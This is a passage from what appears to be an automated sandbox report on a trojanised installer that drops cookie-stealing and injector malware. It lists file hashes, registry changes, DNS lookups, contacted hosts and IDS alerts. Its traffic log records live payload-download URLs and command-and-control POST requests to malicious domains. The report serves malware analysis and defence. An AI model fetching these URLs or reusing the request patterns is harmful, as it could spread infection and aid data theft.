      If-Unmodified-Since: Tue, 22 Jun 2021 05:37:37 GMT
      Range: bytes=799335-1108231
      User-Agent: Microsoft BITS/7.5
      Host: marsdevelopmentsftwr.com"
      Heuristic match: "POST /api/?sid=253023&key=77ae44ed5647105ddc808874358660de HTTP/1.1
      Connection: Keep-Alive
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 S"
      Heuristic match: "2no.co"
      Heuristic match: "api.ip.sb"
      Heuristic match: "cdn.discordapp.com"
      Heuristic match: "fairsence.com"
      Heuristic match: "flamkravmaga.com"
      Heuristic match: "glycera.info"
      Heuristic match: "iplogger.org"
      Heuristic match: "statuse.digitalcertvalidation.com"
      Pattern match: "www.facebook.com"
      Pattern match: "www.listincode.com"
      Pattern match: "http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab"
      Pattern match: "http://crl.identrust.com/DSTROOTCAX3CRL.crl"
      Pattern match: "www.sysinternals.com"
      Pattern match: "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAWAJn8G8pVTNI4"
      Pattern match: "http://statuse.digitalcertvalidation.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJrF0xYA49jC3D83fgDGesaUkzIQQUf9OZ86BHDjEAVlYijrfMnt3KAYoCE"
      Pattern match: "http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
      Pattern match: "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsE"
      Pattern match: "http://marsdevelopmentsftwr.com/data/data.7z"
      Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task"
      source
      File/Memory
      relevance
      10/10
    • HTTP request contains Base64 encoded artifacts
      details
      "nx6y3qg"
      "k|{um}o:"
      "y9Wko|^"
      "qZ{o\^"
      ";N]u4:G^"
      source
      Network Traffic
      relevance
      7/10
      ATT&CK ID
      T1132 (Show technique in the MITRE ATT&CK™ matrix)
  • Spyware/Information Retrieval
  • System Security
    • Creates or modifies windows services
      details
      "setup_install.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
      "metina_6.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
      "metina_4.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
      "metina_5.tmp" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
      "3DzimCCHok4QI3oge55SJ4Fn.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
      "3DzimCCHok4QI3oge55SJ4Fn.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ASP.NET_4.0.30319\NAMES"; Key: "ILA14WVANSYKZ9MD08LKCPPRIVFO0YMAJXGHDLWMDUFYRBWPGD7KCCD6S4FVAR4PLH9X24UY6SPHPCBHRKWSPUUBEASFER7DUM08UWTUF2IGVGHB8LIZJB"; Value: "A80C0000")
      "askinstall47.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS")
      source
      Registry Access
      relevance
      10/10
      ATT&CK ID
      T1112 (Show technique in the MITRE ATT&CK™ matrix)
    • Opens the Kernel Security Device Driver (KsecDD) of Windows
      details
      "x86_x64_setup.exe" opened "\Device\KsecDD"
      "setup_installer.exe" opened "\Device\KsecDD"
      "metina_1.exe" opened "\Device\KsecDD"
      "metina_6.exe" opened "\Device\KsecDD"
      "metina_7.exe" opened "\Device\KsecDD"
      "metina_4.exe" opened "\Device\KsecDD"
      "metina_5.tmp" opened "\Device\KsecDD"
      "Crack.exe" opened "\Device\KsecDD"
      "3DzimCCHok4QI3oge55SJ4Fn.exe" opened "\Device\KsecDD"
      "GRBREeDiF7lFRmCKLoQFhGWs.exe" opened "\Device\KsecDD"
      "rundll32.exe" opened "\Device\KsecDD"
      "askinstall47.exe" opened "\Device\KsecDD"
      "bitsadmin.exe" opened "\Device\KsecDD"
      source
      API Call
      relevance
      10/10
      ATT&CK ID
      T1215 (Show technique in the MITRE ATT&CK™ matrix)
  • Unusual Characteristics
    • Matched Compiler/Packer signature
      details
      "metina_6.exe" was detected as "VC8 -> Microsoft Corporation"
      "askinstall47.exe" was detected as "VC8 -> Microsoft Corporation"
      "libcurl.dll" was detected as "ASPack v2.1"
      "file1_1_.exe" was detected as "Visual C++ 2003 DLL -> Microsoft"
      "metina_1.exe" was detected as "VC8 -> Microsoft Corporation"
      "data_load.exe" was detected as "Microsoft visual C++ 5.0"
      "metina_4.exe" was detected as "VC8 -> Microsoft Corporation"
      "install.dll" was detected as "Microsoft visual C++ 6.0 DLL"
      "metina_8.exe" was detected as "Visual C++ 2003 DLL -> Microsoft"
      "metina_7.exe" was detected as "VC8 -> Microsoft Corporation"
      source
      Static Parser
      relevance
      10/10
      ATT&CK ID
      T1045 (Show technique in the MITRE ATT&CK™ matrix)

File Details

All Details:

x86_x64_setup.exe

Filename
x86_x64_setup.exe
Size
4.9MiB (5160781 bytes)
Type
peexe executable
Description
PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Architecture
WINDOWS
SHA256
4a7e17dd1cb8fe84b412b4c4cc134482b86a0eab81052d3c4ea9ce03f5e9c8b7Copy SHA256 to clipboard
MD5
9d6ffc7bad222d9889f4b744de739966Copy MD5 to clipboard
SHA1
505fc28dc4603e7ea602f9d918b9445a48942fb4Copy SHA1 to clipboard
ssdeep
98304:JF6Ji1686xK3PiBk5TCgVmXULKEjAAFWXdlbgsgElZR2C:JFIi16DxAiWLmXgKB6EbgfElD2C Copy ssdeep to clipboard
imphash
c05041e01f84e1ccca9c4451f3b6a383 Copy imphash to clipboard
authentihash
138069d7608f73b8ec725ac4da17b70c890ac1d95f5f5ba3cc8b540fc47aeac1 Copy authentihash to clipboard

Resources

Language
ENGLISH
Icon
Sample Icon

Visualization

Input File (PortEx)
PE Visualization

Classification (TrID)

  • 64.5% (.EXE) Win32 Executable MS Visual C++ (generic)
  • 13.6% (.DLL) Win32 Dynamic Link Library (generic)
  • 9.3% (.EXE) Win32 Executable (generic)
  • 4.1% (.EXE) OS/2 Executable (generic)
  • 4.1% (.EXE) Generic Win/DOS Executable

File Metadata


  • 1 .RES Files linked with CVTRES.EXE 5.00 (Visual Studio 5) (build: 1735)
  • 10 .C Files compiled with CL.EXE (Visual Studio 6 Processor Pack) (build: 9044)
  • 15 .LIB Files generated with LIB.EXE 7.10 (Visual Studio .NET 2003) (build: 4035)
  • 2 .C Files compiled with CL.EXE 13.10 (Visual Studio .NET 2003) (build: 4035)

File Sections

File Resources

File Imports

AdjustTokenPrivileges
LookupPrivilegeValueW
OpenProcessToken
RegCloseKey
RegCreateKeyExW
RegDeleteKeyW
RegDeleteValueW
RegEnumKeyW
RegEnumValueW
RegOpenKeyExW
RegQueryValueExW
RegSetValueExW
SetFileSecurityW
ImageList_AddMasked
ImageList_Create
ImageList_Destroy
CreateBrushIndirect
CreateFontIndirectW
DeleteObject
GetDeviceCaps
SelectObject
SetBkColor
SetBkMode
SetTextColor
CloseHandle
CompareFileTime
CopyFileW
CreateDirectoryW
CreateFileW
CreateProcessW
CreateThread
DeleteFileW
ExitProcess
ExpandEnvironmentStringsW
FindClose
FindFirstFileW
FindNextFileW
FreeLibrary
GetCommandLineW
GetCurrentProcess
GetDiskFreeSpaceW
GetExitCodeProcess
GetFileAttributesW
GetFileSize
GetFullPathNameW
GetLastError
GetModuleFileNameW
GetModuleHandleA
GetModuleHandleW
GetPrivateProfileStringW
GetProcAddress
GetShortPathNameW
GetSystemDirectoryW
GetTempFileNameW
GetTempPathW
GetTickCount
GetVersion
GetWindowsDirectoryW
GlobalAlloc
GlobalFree
GlobalLock
GlobalUnlock
LoadLibraryExW
lstrcatW
lstrcmpiA
lstrcmpiW
lstrcmpW
lstrcpyA
lstrcpynW
lstrlenA
lstrlenW
MoveFileExW
MoveFileW
MulDiv
MultiByteToWideChar
ReadFile
RemoveDirectoryW
SearchPathW
SetCurrentDirectoryW
SetEnvironmentVariableW
SetErrorMode
SetFileAttributesW
SetFilePointer
SetFileTime
Sleep
WaitForSingleObject
WideCharToMultiByte
WriteFile
WritePrivateProfileStringW
CoCreateInstance
CoTaskMemFree
IIDFromString
OleInitialize
OleUninitialize
SHBrowseForFolderW
ShellExecuteExW
SHFileOperationW
SHGetFileInfoW
SHGetPathFromIDListW
SHGetSpecialFolderLocation
AppendMenuW
BeginPaint
CallWindowProcW
CharNextA
CharNextW
CharPrevW
CheckDlgButton
CloseClipboard
CreateDialogParamW
CreatePopupMenu
CreateWindowExW
DefWindowProcW
DestroyWindow
DialogBoxParamW
DispatchMessageW
DrawTextW
EmptyClipboard
EnableMenuItem
EnableWindow
EndDialog
EndPaint
ExitWindowsEx
FillRect
FindWindowExW
GetClassInfoW
GetClientRect
GetDC
GetDlgItem
GetDlgItemTextW
GetMessagePos
GetSysColor
GetSystemMenu
GetSystemMetrics
GetWindowLongW
GetWindowRect
InvalidateRect
IsWindow
IsWindowEnabled
IsWindowVisible
LoadCursorW
LoadImageW
MessageBoxIndirectW
OpenClipboard
PeekMessageW
PostQuitMessage
RegisterClassW
ReleaseDC
ScreenToClient
SendMessageTimeoutW
SendMessageW
SetClassLongW
SetClipboardData
SetCursor
SetDlgItemTextW
SetForegroundWindow
SetTimer
SetWindowLongW
SetWindowPos
SetWindowTextW
ShowWindow
SystemParametersInfoW
TrackPopupMenu
wsprintfA
wsprintfW

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 65 processes in total (System Resource Monitor).

Network Analysis

DNS Requests

Login to Download DNS Requests (CSV)
Domain Address Registrar Country
2no.co
OSINT 		88.99.66.31
TTL: 3366 		GODADDY.COM, INC. Flag of Germany Germany
api.ip.sb
OSINT 		104.26.13.31
TTL: 260 		1API GmbH
Organization: Cat Networks, Inc.
Name Server: ns1.xtom.com
Creation Date: 2017-08-07T03:14:20.893000 		Flag of United States United States
cdn.discordapp.com
OSINT 		162.159.130.233
TTL: 299 		ENOM, INC.
Organization: HAMMER & CHISEL INC.
Name Server: GABE.NS.CLOUDFLARE.COM
Creation Date: 2015-02-26T00:00:00 		Flag of United States United States
cor-tips.com
OSINT 		198.54.116.159
TTL: 1383 		NAMECHEAP INC
Organization: Privacy service provided by Withheld for Privacy ehf
Name Server: DNS1.REGISTRAR-SERVERS.COM
Creation Date: 2020-04-26T16:49:48 		Flag of United States United States
crl.identrust.com
OSINT 		184.28.78.7
TTL: 3908 		NETWORK SOLUTIONS, LLC.
Name Server: NS.IDENTRUST.COM
Creation Date: 2004-02-19T00:00:00 		Flag of United States United States
fairsence.com
OSINT 		71.19.146.79
TTL: 1798 		NAMECHEAP INC
Organization: WhoisGuard, Inc.
Name Server: DNS1.REGISTRAR-SERVERS.COM
Creation Date: 2018-11-11T17:09:21 		Flag of United States United States
flamkravmaga.com
OSINT 		- Tucows Domains Inc.
Name Server: A.DNSPOD.COM
Creation Date: 2021-06-04T08:40:55 		-
glycera.info
OSINT 		172.67.131.176
TTL: 299 		Sav.comLLC
Organization: Privacy Protection
Name Server: LEX.NS.CLOUDFLARE.COM
Creation Date: 2021-06-09T07:26:09 		Flag of United States United States
ip-api.com
OSINT 		208.95.112.1
TTL: 3169 		Internet Domain Service BS Corp.
Organization: Whois Privacy Corp.
Name Server: A.IP-API.COM
Creation Date: 2012-04-24T00:00:00 		Flag of Reserved Reserved
iplogger.org 88.99.66.31
TTL: 3599 		- Flag of Germany Germany
jom.diregame.live 172.67.158.82
TTL: 299 		- Flag of United States United States
marsdevelopmentsftwr.com 89.221.213.3
TTL: 1798 		- Flag of Czech Republic Czech Republic
nicepricingsaleregistration.com 89.221.213.3
TTL: 1798 		- Flag of Czech Republic Czech Republic
razino.xyz 104.21.86.8
TTL: 299 		- Flag of United States United States
salam.amongus-pc4.xyz 172.67.175.176
TTL: 299 		- Flag of United States United States
statuse.digitalcertvalidation.com 72.21.91.29
TTL: 225 		- Flag of United States United States
uehge4g6gh.2ihsfa.com 88.218.92.148
TTL: 1798 		- Flag of Netherlands Netherlands
www.facebook.com 157.240.2.35
TTL: 3301 		- Flag of United States United States
www.listincode.com 144.202.76.47
TTL: 599 		- Flag of United States United States

Contacted Hosts

Login to Download Contacted Hosts (CSV)
IP Address Port/Protocol Associated Process Details
104.21.86.8
80
TCP 		setup_install.exe
PID: 2276		 Flag of United States United States
136.144.41.152
80
TCP 		metina_6.exe
PID: 3052		 Flag of Netherlands Netherlands
208.95.112.1
80
TCP 		metina_4.exe
PID: 1020		 Flag of Reserved Reserved
157.240.18.35
443
TCP 		metina_4.exe
PID: 1020		 Flag of United States United States
89.221.213.3
80
TCP 		metina_6.exe
PID: 3052
svchost.exe
PID: 932		 Flag of Czech Republic Czech Republic
136.144.41.133
80
TCP 		metina_6.exe
PID: 3052		 Flag of Netherlands Netherlands
162.159.135.233
80
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
172.67.131.176
80
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
104.21.65.45
80
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
185.20.227.194
80
TCP 		metina_6.exe
PID: 3052		 Flag of Russian Federation Russian Federation
104.21.65.45
443
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
172.67.131.176
443
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
162.159.135.233
443
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
205.185.216.10
80
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
172.232.15.138
80
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
198.54.116.159
80
TCP 		metina_5.tmp
PID: 2204		 Flag of United States United States
184.28.78.7
80
TCP 		metina_6.exe
PID: 3052		 Flag of United States United States
144.202.76.47
443
TCP 		askinstall47.exe
PID: 1180		 Flag of United States United States
88.99.66.31
443
TCP 		askinstall47.exe
PID: 1180
metina_6.exe
PID: 3052		 Flag of Germany Germany
172.67.175.176
80
TCP 		3dzimcchok4qi3oge55sj4fn.exe
PID: 3240		 Flag of United States United States
88.218.92.148
80
TCP 		metina_4.exe
PID: 1020		 Flag of Netherlands Netherlands
104.26.13.31
443
TCP 		3dzimcchok4qi3oge55sj4fn.exe
PID: 3240		 Flag of United States United States
31.13.70.36
443
TCP 		metina_4.exe
PID: 1020		 Flag of Ireland Ireland

Contacted Countries

HTTP Traffic

Endpoint Request URL
104.21.86.8:80 (razino.xyz) GET razino.xyz/addInstallImpression.php?key=125478824515ADNxu2ccbwe&ip=&oid=139
104.21.86.8:80 (razino.xyz) GET razino.xyz/addInstall.php?key=125478824515ADNxu2ccbwe&ip=&oid=139&oname[]=15June340PM&oname[]=7&oname[]=1&oname[]=2&oname[]=3&oname[]=4&on...
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
208.95.112.1:80 (ip-api.com) GET ip-api.com/json/
136.144.41.133:80 HEAD 136.144.41.133/WW/file5.exe
136.144.41.133:80 HEAD 136.144.41.133/WW/file2.exe
89.221.213.3:80 (nicepricingsaleregistration.com) HEAD nicepricingsaleregistration.com/campaign1/SunLabsPlayer.exe
136.144.41.133:80 HEAD 136.144.41.133/WW/file8.exe
136.144.41.133:80 HEAD 136.144.41.133/WW/file7.exe
89.221.213.3:80 (nicepricingsaleregistration.com) GET nicepricingsaleregistration.com/campaign1/SunLabsPlayer.exe
136.144.41.133:80 HEAD 136.144.41.133/WW/file9.exe
136.144.41.133:80 HEAD 136.144.41.133/WW/file1.exe
136.144.41.133:80 HEAD 136.144.41.133/WW/file4.exe
136.144.41.133:80 HEAD 136.144.41.133/WW/file6.exe
136.144.41.133:80 GET 136.144.41.133/WW/file5.exe
136.144.41.133:80 GET 136.144.41.133/WW/file2.exe
198.54.116.159:80 (cor-tips.com) HEAD cor-tips.com/After_math_Eminem/AdvertiserInstaller/UltraMediaBurner/UltraMediaBurner.exe
198.54.116.159:80 (cor-tips.com) GET cor-tips.com/After_math_Eminem/AdvertiserInstaller/UltraMediaBurner/UltraMediaBurner.exe
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
184.28.78.7:80 (crl.identrust.com) GET crl.identrust.com/DSTROOTCAX3CRL.crl
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
136.144.41.152:80 POST 136.144.41.152/base/api/getData.php
172.67.175.176:80 (salam.amongus-pc4.xyz) POST salam.amongus-pc4.xyz/
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) GET uehge4g6gh.2ihsfa.com/api/fbtime
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) POST uehge4g6gh.2ihsfa.com/api/?sid=252179&key=a398e7b8194bdeec7234fd2485221286
172.67.175.176:80 (salam.amongus-pc4.xyz) POST salam.amongus-pc4.xyz/
172.67.175.176:80 (salam.amongus-pc4.xyz) POST salam.amongus-pc4.xyz/
89.221.213.3:80 (marsdevelopmentsftwr.com) HEAD marsdevelopmentsftwr.com/data/data.7z
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) GET uehge4g6gh.2ihsfa.com/api/fbtime
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) POST uehge4g6gh.2ihsfa.com/api/?sid=252459&key=f726ebc51cfb0cff71fea2987e8e8172
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
89.221.213.3:80 (marsdevelopmentsftwr.com) GET marsdevelopmentsftwr.com/data/data.7z
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) GET uehge4g6gh.2ihsfa.com/api/fbtime
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) POST uehge4g6gh.2ihsfa.com/api/?sid=252739&key=cf1af68a0997b6dc571e4c3bf673f463
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) GET uehge4g6gh.2ihsfa.com/api/fbtime
88.218.92.148:80 (uehge4g6gh.2ihsfa.com) POST uehge4g6gh.2ihsfa.com/api/?sid=253023&key=77ae44ed5647105ddc808874358660de

Suricata Alerts

Event Category Description SID
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 208.95.112.1:80 (TCP) Device Retrieving External IP Address Detected ET POLICY External IP Lookup ip-api.com 2022082
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
local -> 136.144.41.133:80 (TCP) A Network Trojan was detected ET INFO Executable Download from dotted-quad Host 2016141
136.144.41.133 -> local:49174 (TCP) Misc activity ET INFO Packed Executable Download 2014819
89.221.213.3 -> local:49169 (TCP) - - -
136.144.41.133 -> local:49171 (TCP) - - -
136.144.41.133 -> local:49171 (TCP) Potentially Bad Traffic ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response 2021076
136.144.41.133 -> local:49174 (TCP) - - -
136.144.41.133 -> local:49174 (TCP) Potentially Bad Traffic ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response 2021076
local -> 198.54.116.159:80 (TCP) Potentially Bad Traffic ETPRO ADWARE_PUP InnoDownloadPlugin User-Agent Observed 2839343
local -> 198.54.116.159:80 (TCP) Potentially Bad Traffic ETPRO ADWARE_PUP InnoDownloadPlugin User-Agent Observed 2839343
local -> 8.8.8.8:53 (UDP) Potential Corporate Privacy Violation ETPRO POLICY IP Check Domain (iplogger .org in DNS Lookup) 2828705
ET rules applied using Suricata. Find out more about proofpoint ET Intelligence here.

Extracted Strings

No strings were extracted.

Extracted Files

Displaying 203 extracted file(s). The remaining 138 file(s) are available in the full version and XML/JSON reports.

  • Malicious 9

    • data_load.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      574KiB (587776 bytes)
      Type
      peexe executable
      Description
      PE32 executable (console) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Malware.Generic" (1/69)
      Runtime Process
      data_load.exe (PID: 804)
      MD5
      42badc1d2f03a8b1e4875740d3d49336 Copy MD5 to clipboard
      SHA1
      cee178da1fb05f99af7a3547093122893bd1eb46 Copy SHA1 to clipboard
      SHA256
      c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf Copy SHA256 to clipboard
    • libcurl.dll
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      218KiB (223232 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (console) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Dropper.Pswtool" (4/67)
      Runtime Process
      setup_installer.exe (PID: 1624)
      MD5
      d09be1f47fd6b827c81a4812b4f7296f Copy MD5 to clipboard
      SHA1
      028ae3596c0790e6d7f9f2f3c8e9591527d267f7 Copy SHA1 to clipboard
      SHA256
      0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e Copy SHA256 to clipboard
    • metina_1.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      876KiB (896757 bytes)
      Type
      peexe executable
      Description
      PE32 executable (console) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Trojan.Kryplod" (42/68)
      Runtime Process
      metina_1.exe (PID: 2932)
      MD5
      cd2432b2a7980238b57791ae06cf6f65 Copy MD5 to clipboard
      SHA1
      4e7d16dcdafe324d095127cbeafdefe241d47bad Copy SHA1 to clipboard
      SHA256
      4105ed9fb231cbe5ca165accacdb315a6ea602dba29125d3dbdc88e518841939 Copy SHA256 to clipboard
    • metina_4.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      967KiB (990208 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Trojan.CookiesStealer" (57/69)
      Runtime Process
      metina_4.exe (PID: 1020)
      MD5
      2eb68e495e4eb18c86a443b2754bbab2 Copy MD5 to clipboard
      SHA1
      82a535e1277ea7a80b809cfeb97dcfb5a5d48a37 Copy SHA1 to clipboard
      SHA256
      a9083c13dd04bf55cc8e29ab4fe8a0053edf3ffe9b1e5ec31db207a45a98aaaf Copy SHA256 to clipboard
    • metina_6.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      739KiB (756224 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Gen:Variant.Ser.Zusy" (45/68)
      Runtime Process
      setup_installer.exe (PID: 1624)
      MD5
      2ae8ec72f67aeba4734b49e92ee435d8 Copy MD5 to clipboard
      SHA1
      6390cbc219f09232a5bdae87584678e984bd77af Copy SHA1 to clipboard
      SHA256
      196394153844c8e8eeae1fd449ab7f1416b1f51076bb3d55302f615bce7f141e Copy SHA256 to clipboard
    • metina_7.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      1.6MiB (1697075 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Trojan.Injector" (44/68)
      Runtime Process
      metina_7.exe (PID: 1340)
      MD5
      57c57cb4773d73d2e02a848481228cd1 Copy MD5 to clipboard
      SHA1
      e032c475e551a273291f8f154d7684c7504380f5 Copy SHA1 to clipboard
      SHA256
      21b208ca752269e09b2dc7f18e7edb56c12de069e98451ce11f3154eff8db84a Copy SHA256 to clipboard
    • metina_8.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      349KiB (357376 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "FileRepMetagen [Malware]" (26/69)
      Runtime Process
      cmd.exe (PID: 2076)
      MD5
      6f937931b587e227f67480f4b0928b9d Copy MD5 to clipboard
      SHA1
      4ef10e7fabe4ec16c37cc20697c5c555ffba0f54 Copy SHA1 to clipboard
      SHA256
      3eeb4f6881fd67c1fc1ed169f705e04cd0ab9d30a02b81f0c944a9e41a3053a0 Copy SHA256 to clipboard
    • askinstall47.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      1.4MiB (1450496 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Gen:Variant.Zusy" (36/69)
      Runtime Process
      metina_7.exe (PID: 1340)
      MD5
      b0803c30b0099dee31f09e383f42d23a Copy MD5 to clipboard
      SHA1
      64030ec84d85aa490026f03ed8b7580843081238 Copy SHA1 to clipboard
      SHA256
      21de3ad2607e91c2ed71a899edd543e346cb1bd12ec66880d2f62cf89f29791a Copy SHA256 to clipboard
    • file1_1_.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      692KiB (708608 bytes)
      Type
      peexe executable
      Description
      PE32 executable (GUI) Intel 80386, for MS Windows
      AV Scan Result
      Labeled as "Malware.Generic" (29/70)
      MD5
      bee291f9e401727d7915c8ee9fce945c Copy MD5 to clipboard
      SHA1
      946732869791f3c9cab4866c4077c3a892870419 Copy SHA1 to clipboard
      SHA256
      b321dd84ea5077a7e434736e16ffd5df18afc1effd843f36d4717cf56f42785e Copy SHA256 to clipboard

  • Clean 44

    • connection.dll
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      832KiB (851498 bytes)
      Type
      pedll executable
      Description
      PE32 executable (DLL) (console) Intel 80386, for MS Windows
      AV Scan Result
      0/66
      Runtime Process
      GRBREeDiF7lFRmCKLoQFhGWs.exe (PID: 2460)
      MD5
      3f0352c50c92aa9f8659cd9ff8f77181 Copy MD5 to clipboard
      SHA1
      1e9283284471b8c7b27f506b1cba3a16624ae725 Copy SHA1 to clipboard
      SHA256
      6dad82e52827e9bfaa91831947ba351fdda5ca8564dca46fa0220f35933fc22d Copy SHA256 to clipboard
    • lighteningplayer-cache-gen.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      249KiB (254784 bytes)
      Type
      peexe executable
      Description
      PE32 executable (console) Intel 80386, for MS Windows
      AV Scan Result
      0/68
      Runtime Process
      GRBREeDiF7lFRmCKLoQFhGWs.exe (PID: 2460)
      MD5
      fd3b4b41e95f42ce084461ec5a63ba7d Copy MD5 to clipboard
      SHA1
      d6b9498f93e624d3af39433a12ebbdd7b7ee3d08 Copy SHA1 to clipboard
      SHA256
      c498e9a13e5bc07eaf60971949a8e441d8885d6ddc64cc73037bc501e9e83532 Copy SHA256 to clipboard
    • lighteningplayer.exe
      Overview Download Disabled Extended File Details VirusTotal Report Hash Seen Before
      Size
      243KiB (248960 bytes)
      Type
      peexe executable
      Description
